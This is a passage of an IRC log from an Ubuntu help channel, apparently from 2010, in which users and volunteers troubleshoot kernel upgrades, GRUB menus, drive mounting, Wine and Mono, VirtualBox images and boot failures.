not entirely sure [01:51] glitchd: patience [01:51] sam-_-, im not even sure how to go abotu updating the kernel [01:51] glitchd, download the kernel from the link i sent you. [01:51] itaylor57, i am being patient, just searching for the answer [01:51] hey. any tool to read Blueray DVD on ubuntu? [01:51] glitchd, then install via gdebi [01:52] glitchd, you will then see it in your grub bootmenu [01:52] sam-_-, i dont use grub directly === Slowpoke is now known as Guest51249 [01:52] sam-_-, and i dont see the link u sent me anymore [01:52] glitchd, try this one: http://kernel.ubuntu.com/~kernel-ppa/mainline/v2.6.36-maverick/linux-image-2.6.36-020636-generic_2.6.36-020636.201010210905_i386.deb [01:52] hi, i installed ubuntu on an sata port and later moved it to an sata 3 port, and now when i try to boot it takes me to initramfs shell and says that the disk does not exist. what can i do?

[01:54] glitchd, then it will in your burg bootmenu [01:54] glitchd, no it will not break anything. [01:54] sam-_-, ok [01:54] glitchd, but don't blame me if it does :-) [01:55] glitchd, you can also select your old kernel still [01:55] don't use burg on a wubi install, unless you want to repair the MBR in windows [01:55] how to see where has been installed some program using apt-get and what exact files have been written on harddisk? [01:55] sam-_-, ok i hope it works because i dont think ill be able to select a different kernel if it doesnt work [01:55] You password require one upper-case and one number! damn! my password have 12 char and some special char but no upper-case this is stupid rule on ubuntu-one :( [01:56] :) [01:56] sam-_-, how do i find out which kernel im currently running?

Looks beautyful [02:01] lucas: so how do you install that kernel? just curious [02:01] hmm [02:01] glitchd, no i don't. but i will find out for you [02:01] sam-_-, thankyou very much=) [02:02] i am running grub 2 to select between my 2 seperate ubuntu installs but i dont want a text menu unless i hit esc and just want grub to remain blank until plymouth can take over [02:02] can someone help me acomplish this goal [02:02] lucas, just found it today and yes i thought so too [02:03] durando, look into something called burg. [02:03] durando, u might like it [02:04] KM0201: Normally with a clean install of 32 bit ubuntu it gets installed automatically in a fresh install (If you are connected on the Internet). Just look for it on synaptic. If I am not wrong pae is enabled in the server kernel [02:04] lucas - no need to reboot right? I don't see the 8gigs I am supposed to have still registering 2.7 [02:04] lucas: so if you're connected to the internet, and during the system examination it sees more than 4gigs, it installs the PAE kernel? [02:04] hi there [02:05] nm...gotta reboot...brb [02:05] durando, open /etc/default/grub with your favorite editor, remove the # in line 5 and 6. afterwards run update-grub and reboot :) [02:05] KM0201: it did so on my laptop with 4GB RAM [02:05] lucas: hmm. [02:05] I have try some theme and now I want to come back to default theme. but some glitch stay here and there. how I can fully restaure default theme? [02:05] ring0 lemme give that a try [02:05] lucas: i was really just curious.. i have 3gigs of ram [02:05] I bought a dedicated server, and I've been setting it up as I wish. But now I got a problem. THe server has 2 hard drives. And only 1 of them is mounted. How can I mount the another in order to get access to it? [02:06] durando, it enables hidden timeout, which sounds like what you're looking for [02:06] I'm talking about an ubuntu 10.10 server [02:06] if i'm doing a system upgrade and i'm asked which configuration file to change and i choose to install the newly distributed file, is my old file saved somewhere or it is lost? [02:06] which configuration file to *use* ... [02:07] KM0201: at first (after upgrading from 2GB to 4GB RAM) my old install registered only 3GB. After I reinstalled there was the pae kernel and all of the RAM available [02:07] ring0: i may be missing it in my grub2 cfg [02:07] durando, http://www.dedoimedo.com/computers/grub-2.html [02:07] if someone can help me, please, say something :S [02:07] I recently installed ubuntu 10.10 64bit on a machine.. when it boots... grub loads but doesn't seem to do anything.. it's stuck at a blinking cursor screen... I can hold shift to get into the grub options.. using the live cd works fine... do i have some video driver problem? [02:07] sam-_-, any clues yet? [02:08] If I'm trying to install xubuntu onto an old computer, should I burn it to a CD or DVD? [02:08] purp: Though it is possible to update a kernel without rebooting, it is better to do a reboot after installing thw new kernel [02:08] I currently have it burned onto a DVD, and I keep on getting errno 5 errors [02:08] does anyone know if CONFIG_X86_PAT is the new CONFIG_X86_PAE ?? [02:09] Guest51249: what speed did you burn it at? [02:09] guys how to see the list of a packages you'v installed? [02:09] Guest51249: what speed is the blank disk you burned rated for? [02:09] botdog, look in software center [02:09] botdog, i believe [02:09] I used the windows burn utility [02:10] I think I'll burn it again to a CD this time, hopefully it will work [02:10] botdog, at /var/apt/cache/archives/ is where all the packages installed literally reside, i don't know if this is what you where looking for, but... [02:10] rcm, you need to add your second hard drive to fstab, see here: http://www.smorgasbord.net/how-to-install-second-hard-drive-in-ubuntu-linux/ [02:10] Also, how would I change my name? [02:10] thank you for answering, I'll check it [02:10] glitchd, i think you are in luck but i'm not entirely sure [02:11] rcm, not a problem [02:11] thanks [02:11] sam-_-, do tell.. [02:11] Hi i have never used linux in my life, but I am very excited to start. I am running into a problem though. Everytime I install it, there are all these updates that it wants me to install. Once they have all downloaded, and they start to install at some point it just shuts off, and when I turn it back on it says Kernel Panic not synching. Some other stuff VFS: something (0,0) [02:11] I've lost my root password for my ubuntu desktop. Is reinstalation my only option? [02:11] well there is no CONFIG_X86_PAE config in the kernel. it might have been renamed to CONFIG_X86_PAT === DJAshnar is now known as SamuraiAlba [02:12] glitchd well there is no CONFIG_X86_PAE config in the kernel. it might have been renamed to CONFIG_X86_PAT [02:12] glitched CONFIG_X86_PAT is set to yes.

[02:12] glitchd, just try it and you will know. [02:12] I'm prompted for one when using sudo. [02:13] Im looking for an addon for firefox that will use the websites ip address over dns, however I would have to start ip browsing, the addon would not do a dns lookup, just rewrite the urls to the ip per site [02:13] glitchd, i'm 99% sure it won't hurt [02:13] sam-_-, well i dont want to break or make my system crappier [02:13] any1 knows?. [02:13] hi i want to know some window based prog like forex4you when launched gives a error saying mfc42.dll error [02:13] sam-_-, ill jus do it nd see what happens [02:13] glitchd, you can always go back by uninstalling the new kernel [02:13] can any one help me how to fix this [02:13] Didji: root and sudo are different, are you after your root password, or have you forgotten your sudo password? [02:14] nihilist666: I see vfs so does that mean you installed with wubi from your windows operating system? [02:14] prymal: then I've forgotten my sudo password. [02:14] nihilist666, hmm, i've never heard of that error. i have had errors before with hardware, but never that serious, ill take a look and see what i can see [02:14] when i asked the customer care they say change the platform to windows [02:14] Yeah I had vista [02:14] this is irritating [02:14] kk9822: have you tried to set mfc42.dll on native on wine? [02:15] on wine [02:15] Burning xubuntu to cd now [02:15] prymal: ah, should this work? http://www.howtogeek.com/howto/linux/reset-your-forgotten-ubuntu-password-in-2-minutes-or-less/ [02:15] nihilist666: so installed wubi from vista, does you vista have enuf space on the hard disk? doesn't sound like the error I would expect for it but. [02:15] sam-_-, wish me luck [02:16] hi, i installed ubuntu on an sata port and later moved it to an sata 3 port, and now when i try to boot it takes me to initramfs shell and says that the disk does not exist. the drive's uuid is not correct. what can i do? [02:16] glitchd, i don't think you need it :-) [02:16] nihilist666, yeah, how big is the virtual HD you created? [02:16] Guest51249: burn it as image [02:16] sam-_-, either way tho [02:16] Didji, check this out http://www.debuntu.org/recover-root-password-single-user-mode-and-grub [02:16] kk9822: just go to http://appdb.winehq.org/ to see if your windows app is compatible enough to run on wine === Guest51249 is now known as Xaphania [02:16] Can I run bitdefender on a .vdi file to check my virtual OS for viruses? Or do I have to install an antivirus inside the virtual OS? [02:16] ok i will do it thanks [02:16] Yeah I wiped everything it isnt even a seperate partition. It is Ubuntu 10.04 came with a Linux Format magazine. 250GB hard drive [02:17] How is there not a better screencast utility for linux? [02:17] okay tjsco, thanks. [02:17] glitchd, ok i found out now. it's not a pae-enabled kernel [02:17] lo ... has anyone got a link to how to fix the nvidia driver after a kernel upgrade? [02:17] sam-_-, so i should uninstall it now, huh? [02:17] glitchd, but 4gb of ram should be enough on a desktop [02:17] X just says that module "nvidia" is invalid and won't start [02:17] GTK-RecordMyDesktop is impossible to select anything in a 100x200px version of my desktop that's over 10x that size... Istanbul is unmainted for nearly four years and xvidcap for nearly 5. [02:17] glitchd, you can still use it [02:17] glitchd, but you won't have 8gb of ram [02:17] sam-_-, i want all my ram used. [02:17] hi, i installed ubuntu on an sata port and later moved it to an sata 3 port, and now when i try to boot it takes me to initramfs shell and says that the disk does not exist. the drive's uuid is not correct. what can i do? [02:18] magn3ts: go to omg!ubuntu! blog and look fore some fany tools [02:18] Can I run bitdefender on a .vdi file to check my virtual OS for viruses? Or do I have to install an antivirus inside the virtual OS? [02:18] nihilist666, i looked up this error, and it usually has something to do with grub or lilo pointing towards the wrong partition.. anyone else ever hear of this?

[02:18] glitchd, the alpha or beta is === dave is now known as HP_pavilion [02:19] hylian, where in the file system are the another packages, which have been installed by default, or at least where is the file where the list of all packages is ?

[02:20] cats4gold: use any pastebon ypu want [02:20] xangua: good call V: [02:20] sam-_-, so after i reboot, if i dont like the new kernel, how do i remove it?

I think I solved it by reinstalling the NVIDIA driver, because at first the nvidia modules didn't compile against the new kernel [02:21] hi, i installed ubuntu on an sata port and later moved it to an sata 3 port, and now when i try to boot it takes me to initramfs shell and says that the disk does not exist. the drive's uuid is not correct. what can i do? [02:21] Does Ubuntu have native A2DP support? [02:21] saintly: and what is the issue? I had slow screens in flash video (like youtube) until I started using the propriatary nvidia drivers on my system. [02:21] right, that makes sense, can you tell me which main metapackage i need to reinstall lucas? [02:21] xangua: thank you, alot more support here than in the Xubuntu irc [02:21] (i didn't install it manually, i just let the driver updater do its thing) [02:21] Batches? Virtual HD? I dont think that I made a virtual HD. Umm would anyone be willing to hit me up with a private message so I can keep up. I have never done IRC before this is totally crazy. As long as the updates arent installed everything is fine. [02:21] are there a lot of known new issues with the broadcom b43 on the lucid release?

[02:23] type /list [02:23] Cosmo`: I think it is better to look for everything related to nvidia on synaptic and uninstall it. After that it depends on how old your nvidia card is. I use the nvidia-latest metapackage [02:23] glitchd, sudo apt-get --purge remove linux-image-2.6.36* [02:23] thank you HP [02:23] alright, thanks lucas, it should be fine, it's a 9600M GT in a macbook [02:23] hi iam getting this error when iam trying to perl a file Can't locate HTTP/Request.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at escan.txt line 12. [02:23] BEGIN failed--compilation aborted at escan.txt line 12. [02:23] i'll give it a go, thanks === Lint01 is now known as fffu [02:23] lerl [02:23] glitchd, had to fetch a beer. patience brother :-) [02:23] hi, i installed ubuntu on an sata port and later moved it to an sata 3 port, and now when i try to boot it takes me to initramfs shell and says that the disk does not exist. the drive's uuid is not correct. what can i do? [02:24] lol how to print file after 1st line? [02:24] So the document I'm following tells me to press esc "as soon as I see the grub loading screen" but I see no such screen. What should it look like? [02:24] Cosmo`: don't forget after installation to do a "sudo nvidia-xconfig". [02:24] yep, will do [02:24] thanks :) [02:24] hylian, tnx for the answer [02:24] sam-_-, will that automatically reinstall or activate my previous kernel? [02:24] \list [02:24] cooper|laptop, backing up your data and reinstalling would probably be your best bet i reckon [02:24] botdog, did that help? [02:25] well [02:25] it says it is mounted [02:25] taranm: for some reason, the installer doesn't recognize my drive when it is in the sata3 port [02:25] How can I tell when I'm looking at the GRUB loading screen/ [02:25] Christiannn, are you trying to install curses or ncurses? [02:25] ? [02:25] glitchd your previous kernel never gets deactivate. you can always select it from the boot menu even if the new kernel is installed [02:25] taranm: which is why i used the sata ii port in the first place, hoping that i could switch it later and expect it to work [02:26] So, I try to set Sun Java 6 as the default jvm with "sudo update-java-alternatives -s java-6-sun", but I get this result: http://pastebin.com/hhpRqPpw Any advice? [02:26] sam-_-, ok [02:26] I read something about it possibly being some sort of driver issue? [02:26] sam-_-, well im gonna reboot to see how it is [02:26] cooper|laptop: you should be able to modify the /etc/fstab file to fix it. I'm not sure why it can't find the uuid. maybe you custom modified you fstab file? [02:26] hi it never gives a clear pic [02:27] cooper|laptop, that's odd, as there is no physical difference between the sata variants [02:27] durando, did it work out? [02:27] cats4gold: did you try "sudo update-alternatives --config java"? [02:27] cats4gold, did you install sun java in the first place? [02:27] sacarlson: no, i didn't [02:27] sacarlson: i didn't do anything at all but install ubuntu and move to the sata3 [02:27] sam-_-, update-java-alternatives -l says I have === trinity is now known as SuperVillain [02:28] lucas: no, I'll try it [02:28] cooper|laptop: try live cd boot and see what the disks uuid is and verify that it matches the fstab file. if it does just try replace it with /dev/sdaX X being modifed to match what it really is [02:28] sacarlson: i am confused because in initrramfs shell that it is taking me to, the drive is not showing up at all in /dev [02:29] okay, it apparently was default anyway, despite the errors. [02:29] Thanks [02:29] cooper|laptop: that makes more sence the sata port you pluged into isn't active [02:29] I have a fresh install of ubuntu 10.10 64bit.. After the install goes fine (and everything in the install CD looks/works fine, the 'try ubuntu!' from the cd feature works great).... reboot to a blinking cursor after grub starts. I can hold SHIFT during boot and have the grub menu come up fine, but when I select a configuration I go to the blinking cursor screen.Any suggestions? [02:29] how to print text file after 1st line? [02:30] sacarlson: so i should try using livecd and fix it? [02:30] hi guys; i've been working on an active/passive cluster using pacemaker/heartbeat with drbd syncing data for virtual machines between two servers. it is causing me infinite amounts of grief. i'm at a point where the pacemaker crm is returning 'unknown exec error', but nothing in syslog or crm_verify. is there an alternative to pacemaker or something? :\ [02:30] fffu like omit the first line? [02:30] cooper|laptop: sounds like hardware you need to fix that first I think [02:30] yes [02:30] phpjim, do you have more than one hard drive? [02:30] hylian, yes [02:30] I'm about to order computer parts for a new build- is there any way to check if Linux (specifically Ubuntu 10.10) will run fine on the hardware before I order it? [02:31] cooper|laptop: move it to an active sata port or maybe there is a bios setting that needs to be changed [02:31] ICM, system76 looks to sell decently priced hardware [02:31] does anyone in here use amsn? [02:31] ICM, specializing in linux machines [02:31] sacarlson: i have it set as a raid array, and the bios is recognizing it [02:31] ring0: working on it [02:31] it is enabled [02:31] phpjim No, ordering from NewEgg [02:31] cooper|laptop: oh that adds more complication, I'm not sure about that then [02:31] fffu, there is tail but i don't think that is quite what your looking for? [02:31] cooper|laptop: have you anything attached on the ATA port? [02:32] phpjim, i have a mix of drives, a sata and an ata (ide). ubuntu likes to install to one drive, and put the grub or lilo boot loader on the other. if i dont force ubuntu to install to the boot drive, i have a similar problem. [02:32] does anyone in here use amsn? === taranm is now known as t-b0n3 [02:33] im gonna switch to my other pc, be back in 5. [02:33] chaos2358: negative... no luck w/ gyachi i assume? [02:33] does anyone here have a working knowledge of pacemaker cluster configuration? [02:34] KM0201, nope i even tried compiling it from source [02:34] rofl it really is "tail -q -n +2", how nonintuitive :( [02:34] chaos2358: ugh... are you wanting to test it?... cuz i'll install it if thats the case, but i don't have a camera/mic [02:34] cooper|laptop: so if it was setup as an array in bios seems you would be very limited in being able to move a single drive. you would have to move things as a pair or whatever number your raid is using. your problem is probly in the raid settings and there limitations [02:34] hylian; so I need to get involved with the grub configuration when I install? [02:35] sacarlson: have you anything attached on the ATA port? [02:35] KM0201, no i tried it on two different laptops. video chat works fine no voice chat [02:35] okm im back [02:35] chaos2358: is that for gyachi or for amsn? (or both) [02:35] lucas: you must have been wanting to chat with cooper|laptop? [02:38] well enjoy people. [02:38] Is there some form of zork in the repos? [02:38] what is zork [02:38] KM0201, thats just gyachi [02:38] a bad guy from element 5? [02:38] KM0201, i cant even log into amsn [02:38] no one knows anything about pacemaker, (or perhaps any other high availability programs?) [02:39] KM0201, amsn gives me a cannot connect to server error [02:39] chaos2358: hmm, why can't you log in to amsn? as for gyachi... have you considered getting a "plug in" mic... i could never get skype to work w/ my internal mic, but i took a mic from some game my nephew had, and plugged it into my laptop, and it worked flawlessly [02:40] KM0201, with gyachi i tried my internal mic, a bluetooth headset, and a a plug in mic. went and bought a plug in mic just for it [02:40] Is there a channel for the wiki? [02:40] t-b0n3, pacemaker is beyond the scope of this channel. [02:40] KM0201, i dont know whats up with amsn it says error connecting to server [02:41] and ubuntu really isnt designed for that type of stuff [02:41] chaos2358: when you tried the plug in mic, did you change your sound setting sto "line in" [02:41] hi guys [02:41] for the input [02:41] KM0201, yep [02:41] I have an external hard drive that is not responding === Vegeta` is now known as [Chewbacca] [02:41] can someone help get it back [02:41] is there a console command to lock file so noone could write or remove it while I am at him? [02:41] shadaloo [02:41] yes Blueshift [02:42] hirens boot cd [02:42] chaos2358: maybe ports to amsn are closed by the firewall [02:42] googling [02:42] you need a boot cd for an external hard drive ? [02:42] if the drive spins up you can even make a raw data backup [02:42] except my process and its children? [02:42] Blueshift: thank you my friend [02:42] lucas how would i test that? nothing else on my pc has trouble connecting [02:42] Blueshift: never happened before, very stressed [02:42] t-b0n3, this might help, but this is all a little above my head... https://wiki.edubuntu.org/ClusterStack [02:43] so for my sata 3 drives do i want to configure as ide, raid, or ahci [02:43] Who must one contact to edit an immutable ubuntu wiki page? [02:43] chaos2358: it just connected fine for me... what version of amsn are you using? [02:43] i suggest you make the usb bootable disk which requires a fat32 format util and then you need to install grub boot loader [02:43] hi all, is there a shortcut for running files within the current directory in terminal? ex: instead of typing" ~/Documents/a.out" to just type"a.out" ? [02:43] chaos2358: I use gufw. There you can configure all the rules from a GUI [02:43] KM0201, i dunno im assuming its the latest i installed from synaptics [02:43] hmm. [02:43] spivwaq, ./a.out ? [02:43] chaos2358, did you first refresh synaptic? [02:43] shadaloo, is the external hd usb ? [02:43] chaos2358: using 10.10? [02:44] yep [02:44] fffu maybe lockfile-create [02:44] I'm trying to copy a few small files, and keep getting a Resource temporarily unavailable. Any ideas as to why? And which log to look in on either end? auth.log shows nothing [02:44] oh ok let me try that [02:44] yes to both [02:44] and i always refresh synap before any install [02:44] r00t4rd3d: yes usb [02:44] hylian, but it shows me the whole list of packages which can be installed or already have been installed in which the 'name' meets [02:44] How do I install flash via command line [02:44] spivwaq, although often times once you hit the tab key to finish the file name for you it sticks in the whole path [02:44] and the ability to listen to mp3 files [02:45] crohakon, listen to mp3 via command line? [02:45] chaos2358: well that sucks.... [02:45] r00t4rd3d: I just clicked safely remove, how do I start it back up? [02:45] unplug it , plug it back in ? [02:45] !flash > crohakon [02:45] crohakon, please see my private message [02:45] okay [02:45] KM0201, tell me about it. the odds are stacked against me [02:45] You do NOT need Hirens [02:45] botdog, that's true, i wasn't sure if you wanted every package installed, or where just searching for one. i know all the packages installed are at var/apt/cache/archives/, but maybe you where looking for a printable list? [02:46] chaos2358: well... i know this might sound crazy, any chance of Running Windows in Vbox, just for that? [02:46] Blueshift: is there anything in ubuntu you recommend? [02:46] you could install it, turn off auto updates, and just that software program... and you would probably be less than 5-6gigs of space [02:46] craigbass1976: try sudo apt-get install ubuntu-restricted-extras [02:46] Blueshift: for raw data backup [02:46] shadaloo, did it pop back up on the desktop ? [02:46] KM0201, i dont think my machine can handle vbox. i have dual boot though. i just rarelly use windows so i was trying to setup through ubuntu [02:46] botdog, this article shows how to create the list in a file, and then you could print it or whatever you wish... :http://ubuntuforums.org/showthread.php?t=261366 [02:47] r00t4rd3d: it's choking :( [02:47] r00t4rd3d: I just saw the file list though [02:47] chaos2358: whats the specs on your machine? [02:47] r00t4rd3d: right before it removed === tony_ is now known as C0keNC0de [02:47] well [02:47] sacarlson, for what? [02:47] you could perhaps use dd [02:47] hylian, tnx [02:47] craigbass1976: to install flash and listen to mp3 [02:47] botdog, i hope that helps you. [02:47] dd is good [02:47] KM0201, lol i dunno the exacts. its a 6 yr old dell inspiron E1505 with 2 gigs of ram [02:47] I hope it can read it :x [02:48] sacarlson, oh, I was talking to crohakon . Thanks though [02:48] so i need a high availability solution for deployment tomorrow, anyone have a good idea? :) [02:48] i suggest you do that before you do anything major with hirens [02:48] anyone knows how to use dd created hard disk files on virtualbox? [02:48] t-b0n3 try Linux-HA [02:48] but hirens is great [02:48] chaos2358: .. it probably would just fine to be truthful... my PC is about the same... runs both just fine( i ony use XP to sync a zune) [02:48] I never had much luck with it myself but apparently it's pretty good high-avaiability [02:48] Blueshift: can you help me with usage? [02:48] it has saved me majorly [02:48] sure [02:49] shadaloo [02:49] Blueshift, he is working with an external usb drive [02:49] Blueshift: thanks mate, a bit rusty [02:49] can we drop to pvt please [02:49] what exactlly is a vbox? [02:49] industry__, thanks, on it right now :) [02:49] okay dudes [02:49] It says 261.4 GB used, 204.4 free [02:49] vbox = virtual box [02:49] adhd and too many conversations [02:49] anyone knows how to use dd created hard disk files on virtualbox? [02:50] chaos2358, virtual box, it's a virtual machine, and that system probably could handle something like windows 2000 or slitaz no problem. [02:50] chaos2358: basically you run two OS's at the same time.. you can set it up, for the "Host" OS to run 1gig of Ram, and the Guest OS to run 1gig.. and you'll probably notice no issues [02:50] Blueshift: np [02:50] lucas, hard disks? you cannot [02:50] Blueshift what is hirens? [02:50] how does it work i mean how do i switch between the os? [02:50] chaos2358, that wasn't a very good explanation, it allows you to run another operating system virtually. pretty usefull for quite a few things. i do it all the time [02:51] lucas: fffu: I would guess you could, it's just a file [02:51] fffu: seems that qemu can... Just wondering why vbox doesn't support them. I have them as *.disk files [02:51] so hirens is useful for a external usb drive thats used for storage ? [02:51] sacarlson, vbox do not support raw hd images [02:51] anyone know any good AIM clients? [02:51] lucas, it's possible that you can convert them via qemu-img [02:51] ok but still im not understanding the concept of running them virtually? whaat is it like having a windows os mounted and clicking the icon to run windows? [02:52] only floppies and CDs [02:52] chaos2358: more or less, yes [02:52] CDs=ISOs [02:52] chaos2358, you don't switch. the operating system you have installed still runs, the other os runs inside that one, through virtualization, imagine copying someting from firefox in ubuntu, and then going to a window woth windows in it and pasting... [02:52] fffu: well ubuntu has virtual methods of mounting file system also like samba. you don't need virtualbox support for that [02:52] I'm trying to copy a few small files, and keep getting a Resource temporarily unavailable. Any ideas as to why? And which log to look in on either end? auth.log shows nothing [02:52] ok im going to read a little more into this before i decide [02:53] craigbass1976, whence? whither? [02:53] craigbass1976, command your using ? [02:53] scp blahblah . [02:53] sam-_- I am trying to use them on windows too. There I managed to mount them. Just trying to find a virtual image type that is mostly supported [02:54] sorry... scp server:/path/blahblah . fffu r00t4rd3d [02:54] lucas: fffu: so it would be somekind of virtual in a virtual mount but what tool would you use for dd file structure? [02:54] chaos2358, it turns an os into an application of sorts, imagine having a windows icon on your desktop, and you click it, and it boots in another smaller window... like this: http://mib.pianetalinux.org/mib/images/stories/v/virtualbox-2.png [02:54] i'm trying to run something using wine, but it says "wine: Install the Windows version of Mono to run .NET executables" i've installed, monodevelop,mono-devel, mono-gac, and it still doesnt working! what do i need to install? [02:54] "dpkg --get-selections > installed-software" is really what i 'v been looking, tnx! [02:56] cool [02:56] bezao, what are you trying to run? [02:56] how do you get ubuntu to not lose the internet connection on logout? [02:56] sacarlson: The initial idea was to create a virtual image file that could be mounted on windows, ubuntu, and all kinds of virtualisation software. RAW dd images seem to meet that criteria. Only Virtual Box doesn't play well... [02:56] it seems like NIS stops working after logout and I get these RPC bind errors [02:56] bezao, did you install *windows mono exes*? [02:56] lucas: like mount -o loop -t iso9660 foo.iso /mountpoint but the -t ? [02:56] fffu i dont know, how can i check/install ? === jwkokc is now known as jk_ [02:57] bezao, run some .net app in windows [02:57] bezao maybe via strip [02:57] sam-_- something i've write on .net [02:57] lucas: can virtualbox mount an iso file? [02:57] bezao, I think what you need to do is download mono .net for windows and run it under wine, instead of installing it through your package manager [02:58] I'm trying to get passwordsafe to open the safe file from my windows machine. found site which said to create a mount point and add this to the fstab file "//fileserver/myshare /media/myshare cifs uid=1000,username=myuser,password=mypass 0 0" ... I can't get this to work. if someone can help explain this a little it would be helpful... [02:58] lucas: maybe convert dd to iso? seems there must be an easier way but. [02:58] bezao forget what i said. [02:58] wine is a 'framework' ? doesnt it emulate something.exe on linux? [02:58] sacarlson: in ubuntu I did mount -o loop .disk /mountpoint without any problem. But I can't find a way to use the file in VBox [02:58] bezao why do you want to use wine then? [02:58] hello [02:58] i need do compile on win then send to linux? [02:59] bezao use mono directly? [02:59] sam-_- cuz i wanna test somethig (: [02:59] bezao, wine stands wine is not an emulator. [02:59] Hey, I'm having a problem with my Ubuntu live USB. [02:59] wondering if anyone could help [02:59] i cant understand what i need to do, there any tutorial that you guys can give? any www site [02:59] bezao, oops, i meant wine stands for Wine Is Not an Emulator.. my bad. [03:00] Hey everyone for some reason my new user(test) I created cannot ssh into my machine(localhost) it prompts me for my password and then I put it in and it just says "connection closed". I can however SSH into my machine with the regular user account. Does anyone know what would be causing this? [03:00] hey i need help [03:00] lucas: in Vbox what's the difference vboxed ubuntu can mount virtual disks with the above command? [03:00] lucas, Vbox can mount an iso file directly, but you have to add the file to the virtual media manager first. [03:00] hylian, it was 'WINdows Emulator" in 2001, don't misinform people [03:00] bezao, http://www.mono-project.com/Main_Page [03:00] i'm confused, what i need to do for run something.exe i've wrote on .net on ubuntu? [03:01] a windows enviroment [03:01] I try to boot from Live USB and i can hear the Ubuntu boot sound, but i cannot see an image on the screen. I am assuming it is a video driver issue [03:01] bezao, install mono for windows in wine [03:01] Hello... I just installed Ubuntu NE on a relatively new Acer AspireOne netbook... 1.6ghz, 1024 mb... No problems during install, but goes to a blank screen (cursor) immediately after the bios post screen... Does anyone have any idea how I'd even begin to try to figure out what's going on here?? [03:01] bezao, it should be mono something.exe [03:01] i re installed my os but before doing that i saved all packages from /var/cache/apt/archives and now i want to use it [03:01] hello room [03:01] bezao, not sure though never rly messed with mono [03:01] TotalHavic, hi === Pickle` is now known as dacian [03:02] :( [03:02] I have 2 users, when I get to the login screen it has a very loud volume that doesn't seem to be controlled by either of my users. Is there a setting to control the volume pre-login? [03:02] tylercw, i think you need to use a boot option for video resolution [03:03] bezao, did you try "mono something.exe" [03:03] not totally sure though [03:03] Ahh, thank you r00t4rd3d [03:03] no, wait [03:03] I'll try it right now, i have my laptop right here [03:03] when it starts i think you get a option to press a key for boot options ? [03:04] fffu, you are correct, i stand informed. wine is not an emulator in that it does not emulate every instruction, but i can see an argument for it still being considered an emulator. [03:04] I have 10.10 and the one boot option is Advanced option but there is no options in the submenu [03:04] sam-_- well mono something.exe gave me an .net error, better then wine! [03:04] let me check [03:04] bezao, what error? [03:04] whats in advanced ? [03:04] oh [03:05] sam-_- .net error [03:05] bezao, tell me more [03:05] Well,m the only option in Advanced is "Back. ." [03:05] any good tutorial about logrotate? [03:05] hmm , what kinda of laptop ? [03:05] hello [03:05] sam-_- Unhandled Exception: System.Data.SqlClient.SqlException: SQL Server does not exist or access denied. [03:05] the man are not friendly at all [03:05] HP Envy 14 [03:05] bezao, so it does work. there is an error in your code [03:06] Although It isn't running on my older HP Pavilion dv7 either [03:06] NEED HELP GETTING JAR FILE TO RUN!!! [03:06] bezao, you should catch that exeception [03:06] i dnt think so sam-_- it works on visualstudio (: [03:06] maybe some dll is missing i'll check [03:06] thanks [03:06] bezao, that's because your database is available there [03:06] help [03:07] i re installed my ubuntu but before doing that i saved all packages from /var/cache/apt/archives and now i want to use it [03:07] bezao, but you really should handle that exception in your code :-) [03:07] sam-_- i can connect over the network === techhelp_ is now known as techhelper1 [03:07] lan connection sam-_- heh relax, i'm just testing :D [03:07] guys first day with ubuntu cant even run a jar file.. [03:07] !patience |sam-_- [03:07] sam-_-, please see my private message [03:07] shero, Minecraft? ;) [03:07] <^Neptune> I'm trying to run a shoutcast server but apparently something is using port 8888 and I haven't got any idea what it is. Is there a a command that can free up the port? [03:08] ICM:yes [03:08] is there a real reason for using LVM and separate /, /boot, /home, /usr volumes on a laptop? [03:08] multi_io, no [03:08] shero do you have a java runtime? [03:08] sam i re installed my os but before doing that i saved all packages from /var/cache/apt/archives and now i want to use it [03:08] (rather than just / on a physical volyume like sdx) [03:08] sam how can i do [03:08] shero try right clicking, "Open With", (try OpenJDK 6 Runtime if it's there) [03:09] fffu: ok [03:09] ICM:I tried downloading it from the jave site but i failed..so i installed OpenJDK 6 runtime and webstart [03:09] shero or Sun JAva 6 RUntime [03:09] shishirdwivedi20 i guess just place them in this folder again [03:09] shero, what java --help gives? [03:09] can you right click on the .jar then, shero ? Is there an "Open With 'OpenJDK 6 Runtime'") [03:10] sam its not happeninig i am trying to copy all the files but when i reach to that folder paste option is disabled [03:10] ICM: Java*-- ya I can it gives me the option. however I think I have to permit it as an executable because I get a block message [03:10] sup [03:10] shishirdwivedi20, you need to be root or have the rights to write to the folder [03:11] sam how can i become root ? [03:11] tylercw, [03:11] fn + f3 [03:11] sam i am beginner thats why i know little [03:11] I'm relatively new to using boot option in Ubuntu, on all the older versions it has "just worked" for me. Mind explaining how i would do that? [03:11] shishirdwivedi20, easy solution: gksu nautilus [03:11] shero That sounds like a good idea to me :) [03:11] shishirdwivedi20, then use only these nautilus windows [03:11] tylercw, from the internet The Envy 14 boots with screen brightness turned down to 0 for some reason. Just hit Fn + F3 a lot of times (or just F3 depending on your settings). I'm in ubuntu 10.10 and it works nicely. [03:12] ICM: I get lucky XD.. can you tell me how to do that? [03:12] what's wrong on my system? all of my partitions do not get mounted to /media [03:12] Would you mind explaining how i would do that? Ubuntu has always "just worked" for me [03:12] sam gksu nautilius not working [03:12] who knows if Fable 3 is also for linux/ubuntu ? i cant seem to find it anywhere [03:12] msn NickServ identfiy A02731318 [03:12] shishirdwivedi20, btw. some packages might be a new version hence will get downloaded again [03:12] AHH! Yes! Thank you! [03:12] Braber01, lol [03:12] :D [03:12] sam no window came up , while installing ubuntu i skipped some packages may be thats why [03:13] hahahaa, omg. [03:13] It worked! Wow, that's a different one than i have ever experienced! [03:13] fffu how do i change my password? [03:13] shishirdwivedi20, are you in a terminal? [03:13] tylercw, lol stupid huh ? [03:13] shero gimme a moment [03:13] sam yes i typed comand in terminal [03:13] ICM: np [03:13] shishirdwivedi20, gksu nautilus. type it in a terminal with just one i [03:13] sam *command [03:13] Can anyone explain why Ubuntu Netbook Edition would load properly when I use the installation CD I burned, but after installing, it just goes to a blank screen immediately after the netbook's bios post screen? [03:13] Yeah. Hmm, i wonder why it does that. Anyhow, thanks a bunch! [03:13] shishirdwivedi20, check the spelling [03:13] Braber01, /nickserv setpass [03:13] sam-_-, so that kernel u suggested, wouldnt let me activate wireless drives.. [03:14] sam ok let me do that [03:14] Braber01: change your password. :D [03:14] glitchd, don't you have an intel wifi? [03:14] sam yes opened [03:14] Having a problem with suspend. It only works if I've 